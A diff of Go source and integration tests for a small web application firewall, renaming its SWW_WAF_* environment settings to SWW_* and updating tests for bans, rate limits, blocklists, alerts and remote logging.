|
||||
if err != nil {
|
||||
return cannotStart(processLog, "invalid setting", err)
|
||||
}
|
||||
|
||||
// While SWW_WAF_LOG_REMOTE_URL is set, every line on stdout from here on
|
||||
// While SWW_LOG_REMOTE_URL is set, every line on stdout from here on
|
||||
// is sent there too.
|
||||
stdout := params.Stdout
|
||||
|
||||
@@ -155,11 +152,11 @@ func RunWAF(ctx context.Context, params Params) int {
|
||||
|
||||
// runWAFWithSettings is the rest of RunWAF once the settings are read and
|
||||
// the process log goes where they say. remote is nil unless
|
||||
// SWW_WAF_LOG_REMOTE_URL is set.
|
||||
// SWW_LOG_REMOTE_URL is set.
|
||||
func runWAFWithSettings(
|
||||
ctx context.Context,
|
||||
version string,
|
||||
cfg *config.WAF,
|
||||
cfg *config.Config,
|
||||
stdout io.Writer,
|
||||
remote *remotelog.Sender,
|
||||
processLog *slog.Logger,
|
||||
@@ -170,8 +167,8 @@ func runWAFWithSettings(
|
||||
alertQueue := newAlertQueue(cfg, now, processLog)
|
||||
|
||||
ruleFiles, err := rules.Load(rules.Params{
|
||||
Dir: cfg.RuleFilesDir,
|
||||
Enabled: cfg.RuleFilesEnabled,
|
||||
Dir: cfg.RulesDir,
|
||||
Enabled: cfg.RulesEnabled,
|
||||
ProcessLog: processLog,
|
||||
Alerts: alertQueue,
|
||||
})
|
||||
@@ -214,7 +211,7 @@ func runWAFWithSettings(
|
||||
if err != nil {
|
||||
return cannotStart(
|
||||
processLog,
|
||||
"cannot listen on SWW_WAF_LISTEN_ADDR",
|
||||
"cannot listen on SWW_LISTEN_ADDR",
|
||||
err,
|
||||
)
|
||||
}
|
||||
@@ -243,10 +240,10 @@ func cannotStart(processLog *slog.Logger, message string, err error) int {
|
||||
}
|
||||
|
||||
// newServer returns the server waf runs, with the metrics of the alerts,
|
||||
// after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup
|
||||
// after reading the lookup database while SWW_LOOKUP_SOURCE is file. A lookup
|
||||
// database that cannot be read is an error.
|
||||
func newServer(
|
||||
cfg *config.WAF, stdout io.Writer, processLog *slog.Logger,
|
||||
cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
|
||||
now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
||||
crs *coreruleset.CoreRuleSet,
|
||||
) (*waf.Server, error) {
|
||||
@@ -293,14 +290,14 @@ func newServer(
|
||||
// loadStateFiles reads the state and cache files into the parts of server and
|
||||
// into alertQueue, as state.Load does.
|
||||
func loadStateFiles(
|
||||
cfg *config.WAF, server *waf.Server, alertQueue *alerts.Queue,
|
||||
cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
|
||||
now func() time.Time, processLog *slog.Logger,
|
||||
) (*state.Files, error) {
|
||||
return state.Load(state.Params{
|
||||
Dir: cfg.StateDir,
|
||||
CacheDir: cfg.CacheDir,
|
||||
BansWriteDelay: cfg.BansWriteDelay,
|
||||
WriteInterval: cfg.StateWriteInterval,
|
||||
WriteDelay: cfg.StateWriteDelay,
|
||||
CounterInterval: cfg.StateCounterInterval,
|
||||
Ledger: server.Ledger,
|
||||
Limiter: server.Limiter,
|
||||
GeoJS: server.GeoJS,
|
||||
@@ -319,7 +316,7 @@ func loadStateFiles(
|
||||
// newAlertQueue returns the queue of the alerts to the webhook, Slack and
|
||||
// ntfy, with the settings for them.
|
||||
func newAlertQueue(
|
||||
cfg *config.WAF, now func() time.Time, processLog *slog.Logger,
|
||||
cfg *config.Config, now func() time.Time, processLog *slog.Logger,
|
||||
) *alerts.Queue {
|
||||
return alerts.New(alerts.Params{
|
||||
WebhookURL: cfg.AlertWebhookURL,
|
||||
@@ -337,12 +334,12 @@ func newAlertQueue(
|
||||
}
|
||||
|
||||
// newRemoteLogSender returns a sender of the log lines to
|
||||
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
||||
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
|
||||
// SWW_LOG_REMOTE_URL, with the settings for it.
|
||||
func newRemoteLogSender(cfg *config.Config) *remotelog.Sender {
|
||||
return remotelog.New(remotelog.Params{
|
||||
URL: cfg.LogRemoteURL,
|
||||
RootCAs: cfg.LogRemoteTLSCAs,
|
||||
BufferLines: cfg.LogRemoteBufferLines,
|
||||
Buffer: cfg.LogRemoteBuffer,
|
||||
Facility: cfg.LogRemoteFacility,
|
||||
AppName: cfg.LogRemoteAppName,
|
||||
})
|
||||
|
||||
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
|
||||
Scheme: remotelog.SchemeTCP,
|
||||
Host: "127.0.0.1:65536",
|
||||
},
|
||||
BufferLines: 1,
|
||||
Buffer: 1,
|
||||
})
|
||||
|
||||
stopSending := startSending(t.Context(), sender,
|
||||
|
||||
+113
-121
@@ -20,7 +20,6 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
@@ -35,22 +34,22 @@ const (
|
||||
testVersion = "test"
|
||||
// localhost is where the tests listen.
|
||||
localhost = "127.0.0.1"
|
||||
listenAddr = "SWW_WAF_LISTEN_ADDR"
|
||||
stateDir = "SWW_WAF_STATE_DIR"
|
||||
bansWriteDelay = "SWW_WAF_BANS_WRITE_DELAY"
|
||||
stateWriteInterval = "SWW_WAF_STATE_WRITE_INTERVAL"
|
||||
cacheDir = "SWW_WAF_CACHE_DIR"
|
||||
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR"
|
||||
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set.
|
||||
listenAddr = "SWW_LISTEN_ADDR"
|
||||
stateDir = "SWW_STATE_DIR"
|
||||
stateWriteDelay = "SWW_STATE_WRITE_DELAY"
|
||||
stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
|
||||
cacheDir = "SWW_CACHE_DIR"
|
||||
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
|
||||
rulesDir = "SWW_RULES_DIR"
|
||||
lookupSource = "SWW_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_LOOKUP_DB_PATH"
|
||||
instanceName = "SWW_INSTANCE_NAME"
|
||||
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
// adminSecret is the SWW_ADMIN_TOKEN the tests set.
|
||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||
// instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at
|
||||
// instance is the SWW_INSTANCE_NAME the tests set where they look at
|
||||
// it.
|
||||
instance = "fsn1app1/blog"
|
||||
// greeting is what the tests' app answers.
|
||||
@@ -155,23 +154,25 @@ func (o *output) text() string {
|
||||
}
|
||||
|
||||
// run runs `sww waf` with the settings in env until ctx is done,
|
||||
// and returns its exit status. SWW_WAF_LOOKUP_SOURCE is off unless env sets it,
|
||||
// and returns its exit status. SWW_LOOKUP_SOURCE is off unless env sets it,
|
||||
// so that no test sends GeoJS its clients' addresses.
|
||||
func run(ctx context.Context, env map[string]string, out *output) int {
|
||||
v := configtest.Viper(env)
|
||||
if _, set := env["SWW_WAF_LOOKUP_SOURCE"]; !set {
|
||||
v.Set("SWW_WAF_LOOKUP_SOURCE", "off")
|
||||
}
|
||||
|
||||
// The cache files go beside the state files unless the test says
|
||||
// otherwise.
|
||||
if _, set := env[cacheDir]; !set && env[stateDir] != "" {
|
||||
v.Set(cacheDir, env[stateDir])
|
||||
}
|
||||
|
||||
return sww.RunWAF(ctx, sww.Params{
|
||||
Version: testVersion,
|
||||
Viper: v,
|
||||
LookupEnv: func(name string) (string, bool) {
|
||||
value, ok := env[name]
|
||||
if !ok && name == "SWW_LOOKUP_SOURCE" {
|
||||
return "off", true
|
||||
}
|
||||
|
||||
// The cache files go beside the state files unless the test
|
||||
// says otherwise.
|
||||
if !ok && name == cacheDir {
|
||||
return env[stateDir], env[stateDir] != ""
|
||||
}
|
||||
|
||||
return value, ok
|
||||
},
|
||||
Stdout: out,
|
||||
})
|
||||
}
|
||||
@@ -182,7 +183,7 @@ func TestInvalidSettingStopsTheStart(t *testing.T) {
|
||||
out := &output{}
|
||||
|
||||
status := run(t.Context(), map[string]string{
|
||||
"SWW_WAF_BYTES_LIMIT_PER_MINUTE": "lots",
|
||||
"SWW_BYTES_LIMIT_PER_MINUTE": "lots",
|
||||
instanceName: instance,
|
||||
}, out)
|
||||
if status != 1 {
|
||||
@@ -194,7 +195,7 @@ func TestInvalidSettingStopsTheStart(t *testing.T) {
|
||||
|
||||
if line["type"] != "process" || line["instance"] != instance ||
|
||||
line["level"] != "ERROR" ||
|
||||
!strings.HasPrefix(message, "SWW_WAF_BYTES_LIMIT_PER_MINUTE: ") {
|
||||
!strings.HasPrefix(message, "SWW_BYTES_LIMIT_PER_MINUTE: ") {
|
||||
t.Errorf("start refused with %v", line)
|
||||
}
|
||||
}
|
||||
@@ -248,13 +249,13 @@ func TestAddressInUseStopsTheStart(t *testing.T) {
|
||||
status := run(t.Context(), map[string]string{
|
||||
listenAddr: taken.Addr().String(),
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
}, out)
|
||||
if status != 1 {
|
||||
t.Errorf("exit status %d, want 1", status)
|
||||
}
|
||||
|
||||
out.line(t, "msg", "cannot listen on SWW_WAF_LISTEN_ADDR")
|
||||
out.line(t, "msg", "cannot listen on SWW_LISTEN_ADDR")
|
||||
}
|
||||
|
||||
func TestServesUntilToldToStop(t *testing.T) {
|
||||
@@ -270,7 +271,7 @@ func TestServesUntilToldToStop(t *testing.T) {
|
||||
exited <- run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
}, out)
|
||||
}()
|
||||
|
||||
@@ -320,9 +321,9 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
|
||||
exited <- run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
"SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
||||
"SWW_WAF_LOG_LEVEL": "warn",
|
||||
rulesDir: t.TempDir(),
|
||||
"SWW_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
||||
"SWW_LOG_LEVEL": "warn",
|
||||
}, out)
|
||||
}()
|
||||
|
||||
@@ -361,7 +362,7 @@ func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
metricsToken: token,
|
||||
instanceName: instance,
|
||||
}
|
||||
@@ -398,12 +399,12 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
rateLimitPerDay: "2",
|
||||
// Neither comes due in the test: the files are written as
|
||||
// sww stops.
|
||||
bansWriteDelay: "1h",
|
||||
stateWriteInterval: "1h",
|
||||
stateWriteDelay: "1h",
|
||||
stateCounterInterval: "1h",
|
||||
}
|
||||
|
||||
// The two requests a day allows, and a stop.
|
||||
@@ -429,12 +430,12 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
|
||||
func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const scope = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
|
||||
const scope = "SWW_BAN_SCOPE_V4_PREFIX"
|
||||
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
rateLimitPerDay: "1",
|
||||
scope: "24",
|
||||
}
|
||||
@@ -480,11 +481,11 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
// No write comes due in the test, so only the watch on the
|
||||
// directory can take the edits in.
|
||||
bansWriteDelay: "1h",
|
||||
stateWriteInterval: "1h",
|
||||
stateWriteDelay: "1h",
|
||||
stateCounterInterval: "1h",
|
||||
}
|
||||
|
||||
runUntilStopped(t, env, func(url string) {
|
||||
@@ -510,12 +511,12 @@ func TestBanAddedAndLiftedThroughTheEndpointsKeptInBansJSON(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
adminToken: adminSecret,
|
||||
// Neither comes due in the test: the files are written as
|
||||
// sww stops.
|
||||
bansWriteDelay: "1h",
|
||||
stateWriteInterval: "1h",
|
||||
stateWriteDelay: "1h",
|
||||
stateCounterInterval: "1h",
|
||||
}
|
||||
|
||||
runUntilStopped(t, env, func(url string) {
|
||||
@@ -553,10 +554,10 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: dir,
|
||||
rulesDir: dir,
|
||||
// The requests sent until the rule takes effect must not break a
|
||||
// rate limit, whose ban would refuse them too.
|
||||
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
|
||||
"SWW_RATE_LIMIT_PER_MINUTE": "off",
|
||||
}
|
||||
|
||||
out := runUntilStopped(t, env, func(url string) {
|
||||
@@ -602,17 +603,13 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||
|
||||
wantRulesRefused(
|
||||
t,
|
||||
dir,
|
||||
"SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
|
||||
": no such file or directory",
|
||||
)
|
||||
wantRulesRefused(t, dir, "SWW_RULES_DIR cannot be read: open "+dir+
|
||||
": no such file or directory")
|
||||
}
|
||||
|
||||
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
||||
@@ -624,15 +621,15 @@ func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
||||
out := &output{}
|
||||
|
||||
status := run(t.Context(), map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||
}, out)
|
||||
if status != 1 {
|
||||
t.Fatalf("exit status %d, want 1", status)
|
||||
}
|
||||
|
||||
line := out.line(t, "msg", "cannot use the Core Rule Set")
|
||||
want := "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE: read the exclusions file: open " +
|
||||
want := "SWW_CORE_RULE_SET_EXCLUSIONS_FILE: read the exclusions file: open " +
|
||||
path + ": no such file or directory"
|
||||
|
||||
if line["error"] != want {
|
||||
@@ -656,9 +653,8 @@ func TestCoreRuleSetExclusionsFileThatCannotBeUsedStopsTheStartWhileTheCoreRuleS
|
||||
out := &output{}
|
||||
|
||||
status := run(t.Context(), map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||
"SWW_WAF_CORE_RULE_SET_MODE": config.CoreRuleSetModeOff,
|
||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||
"SWW_WAF_MODE": config.WAFModeOff, "SWW_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||
}, out)
|
||||
if status != 1 {
|
||||
t.Fatalf("%s: exit status %d, want 1", path, status)
|
||||
@@ -679,12 +675,12 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
metricsToken: token,
|
||||
instanceName: instance,
|
||||
lookupSource: "file",
|
||||
lookupDBPath: path,
|
||||
"SWW_WAF_TAG_DENY": "country=KP",
|
||||
"SWW_TAG_DENY": "country=KP",
|
||||
// The requests sent until a replacement takes effect, and those
|
||||
// for the metrics, must not break a rate limit, whose ban would
|
||||
// refuse them too.
|
||||
@@ -792,10 +788,10 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
cacheDir: cache,
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
metricsToken: token,
|
||||
instanceName: instance,
|
||||
"SWW_WAF_BLOCKLIST_URLS": torURL,
|
||||
"SWW_BLOCKLIST_URLS": torURL,
|
||||
// The requests sent until the list takes effect, and those for the
|
||||
// metrics, must not break a rate limit, whose ban would refuse them
|
||||
// too.
|
||||
@@ -811,12 +807,12 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
||||
})
|
||||
|
||||
// Restarted with drop.txt named after it and the server answering, tor.txt
|
||||
// waits SWW_WAF_BLOCKLIST_REFRESH after its failed try, kept in lists.json,
|
||||
// waits SWW_BLOCKLIST_REFRESH after its failed try, kept in lists.json,
|
||||
// while drop.txt, never tried, is fetched at once. Lists are fetched in the
|
||||
// order named, so once drop.txt refuses the client, tor.txt has had its turn.
|
||||
failing.Store(false)
|
||||
|
||||
env["SWW_WAF_BLOCKLIST_URLS"] = torURL + "," + dropURL
|
||||
env["SWW_BLOCKLIST_URLS"] = torURL + "," + dropURL
|
||||
out := runUntilStopped(t, env, func(url string) {
|
||||
for statusFrom(t, url, placed) != http.StatusForbidden {
|
||||
time.Sleep(pollInterval)
|
||||
@@ -878,9 +874,9 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
cacheDir: cache,
|
||||
ruleFilesDir: t.TempDir(),
|
||||
"SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
|
||||
"SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
|
||||
rulesDir: t.TempDir(),
|
||||
"SWW_CROWDSEC_LAPI_URL": engine.URL,
|
||||
"SWW_CROWDSEC_LAPI_KEY": bouncerKey,
|
||||
}
|
||||
|
||||
// Once the list is fetched, the client's request bans it.
|
||||
@@ -961,14 +957,14 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
|
||||
out := &output{}
|
||||
|
||||
status := run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||
lookupSource: "file", lookupDBPath: path,
|
||||
}, out)
|
||||
if status != 1 {
|
||||
t.Fatalf("exit status %d, want 1", status)
|
||||
}
|
||||
|
||||
want := "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + path +
|
||||
want := "SWW_LOOKUP_DB_PATH cannot be read: open " + path +
|
||||
": no such file or directory"
|
||||
|
||||
line := out.line(t, "msg", "cannot use the lookup database")
|
||||
@@ -996,8 +992,8 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
|
||||
rulesDir: t.TempDir(),
|
||||
"SWW_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
|
||||
}
|
||||
|
||||
out := runUntilStopped(t, env, func(url string) {
|
||||
@@ -1055,10 +1051,9 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().
|
||||
String(),
|
||||
"SWW_WAF_LOG_REMOTE_BUFFER_LINES": "1",
|
||||
rulesDir: t.TempDir(),
|
||||
"SWW_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().String(),
|
||||
"SWW_LOG_REMOTE_BUFFER": "1",
|
||||
metricsToken: token,
|
||||
instanceName: instance,
|
||||
}
|
||||
@@ -1131,9 +1126,9 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
ruleFilesDir: rules,
|
||||
"SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
|
||||
"SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
|
||||
rulesDir: rules,
|
||||
"SWW_ALERT_WEBHOOK_URL": webhook.url,
|
||||
"SWW_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
|
||||
instanceName: instance,
|
||||
}
|
||||
|
||||
@@ -1169,7 +1164,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
||||
|
||||
webhook.failing.Store(false)
|
||||
|
||||
env["SWW_WAF_ALLOW_NETS"] = localhost
|
||||
env["SWW_ALLOW_NETS"] = localhost
|
||||
env[metricsToken] = token
|
||||
|
||||
runUntilStopped(t, env, func(url string) {
|
||||
@@ -1237,15 +1232,15 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
rateLimitPerDay: "1",
|
||||
// The metrics are read from 127.0.0.1, which no limit counts.
|
||||
"SWW_WAF_ALLOW_NETS": localhost + "/32",
|
||||
"SWW_ALLOW_NETS": localhost + "/32",
|
||||
metricsToken: token,
|
||||
instanceName: instance,
|
||||
"SWW_WAF_ALERT_SLACK_WEBHOOK_URL": slack.url,
|
||||
"SWW_WAF_ALERT_NTFY_URL": ntfy.url,
|
||||
"SWW_WAF_ALERT_NTFY_TOKEN": ntfyToken,
|
||||
"SWW_ALERT_SLACK_WEBHOOK_URL": slack.url,
|
||||
"SWW_ALERT_NTFY_URL": ntfy.url,
|
||||
"SWW_ALERT_NTFY_TOKEN": ntfyToken,
|
||||
}
|
||||
|
||||
runUntilStopped(t, env, func(url string) {
|
||||
@@ -1319,7 +1314,7 @@ func TestUnwritableStateDirStopsTheStart(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantStartRefused(t, filepath.Join(t.TempDir(), "missing"),
|
||||
"SWW_WAF_STATE_DIR cannot be written: ")
|
||||
"SWW_STATE_DIR cannot be written: ")
|
||||
}
|
||||
|
||||
func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
||||
@@ -1331,7 +1326,7 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
||||
out := &output{}
|
||||
|
||||
status := run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||
cacheDir: filepath.Join(t.TempDir(), "missing"),
|
||||
}, out)
|
||||
if status != 1 {
|
||||
@@ -1340,11 +1335,8 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
||||
|
||||
line := out.line(t, "msg", "cannot use the state and cache files")
|
||||
if message, _ := line["error"].(string); !strings.HasPrefix(message,
|
||||
"SWW_WAF_CACHE_DIR cannot be written: ") {
|
||||
t.Errorf(
|
||||
"start refused with %q, want SWW_WAF_CACHE_DIR named",
|
||||
message,
|
||||
)
|
||||
"SWW_CACHE_DIR cannot be written: ") {
|
||||
t.Errorf("start refused with %q, want SWW_CACHE_DIR named", message)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1360,7 +1352,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
|
||||
out := &output{}
|
||||
|
||||
status := run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: dir, ruleFilesDir: t.TempDir(),
|
||||
listenAddr: localhost + ":0", stateDir: dir, rulesDir: t.TempDir(),
|
||||
}, out)
|
||||
if status != 1 {
|
||||
t.Fatalf("exit status %d, want 1", status)
|
||||
@@ -1390,7 +1382,7 @@ func wantRulesRefused(t *testing.T, dir, want string) {
|
||||
out := &output{}
|
||||
|
||||
status := run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: dir,
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: dir,
|
||||
}, out)
|
||||
if status != 1 {
|
||||
t.Fatalf("exit status %d, want 1", status)
|
||||
@@ -1461,26 +1453,26 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
|
||||
want := map[string]any{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
"SWW_WAF_MODE": "enforce",
|
||||
bansWriteDelay: "10s",
|
||||
stateWriteInterval: "15m",
|
||||
"SWW_WAF_ALLOW_NETS": "",
|
||||
"SWW_MODE": "enforce",
|
||||
stateWriteDelay: "10s",
|
||||
stateCounterInterval: "15m",
|
||||
"SWW_ALLOW_NETS": "",
|
||||
rateLimitExemptNets: "",
|
||||
"SWW_WAF_DENY_NETS": "",
|
||||
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "120",
|
||||
"SWW_WAF_RATE_LIMIT_PER_HOUR": "1500",
|
||||
"SWW_DENY_NETS": "",
|
||||
"SWW_RATE_LIMIT_PER_MINUTE": "120",
|
||||
"SWW_RATE_LIMIT_PER_HOUR": "1500",
|
||||
rateLimitPerDay: "6000",
|
||||
"SWW_WAF_RATE_LIMIT_EXEMPT_PATHS": "",
|
||||
"SWW_WAF_TAG_DENY": "",
|
||||
"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "",
|
||||
"SWW_WAF_BAN_RESPONSE": "403",
|
||||
"SWW_WAF_LIMIT_BAN_DURATION": "1h",
|
||||
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
|
||||
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE": "7d",
|
||||
"SWW_WAF_ATTACK_BAN_DURATION": "7d",
|
||||
"SWW_WAF_MAX_BANS": "5000",
|
||||
"SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
|
||||
"SWW_WAF_RULE_FILES_ENABLED": "true",
|
||||
"SWW_RATE_LIMIT_EXEMPT_PATHS": "",
|
||||
"SWW_TAG_DENY": "",
|
||||
"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES": "",
|
||||
"SWW_BAN_RESPONSE": "403",
|
||||
"SWW_LIMIT_BAN_DURATION": "1h",
|
||||
"SWW_LIMIT_BAN_REPEAT_WINDOW": "24h",
|
||||
"SWW_MAX_BAN_DURATION": "7d",
|
||||
"SWW_ATTACK_BAN_DURATION": "7d",
|
||||
"SWW_MAX_BANS": "5000",
|
||||
"SWW_BAN_SCOPE_V4_PREFIX": "32",
|
||||
"SWW_RULES_ENABLED": "true",
|
||||
}
|
||||
|
||||
for name, value := range want {
|
||||
@@ -1697,7 +1689,7 @@ func onlyBan(t *testing.T, dir string) map[string]any {
|
||||
}
|
||||
|
||||
// wantRefused checks that waf at url refuses a request from localhost with
|
||||
// 403, the default SWW_WAF_BAN_RESPONSE.
|
||||
// 403, the default SWW_BAN_RESPONSE.
|
||||
func wantRefused(t *testing.T, url string) {
|
||||
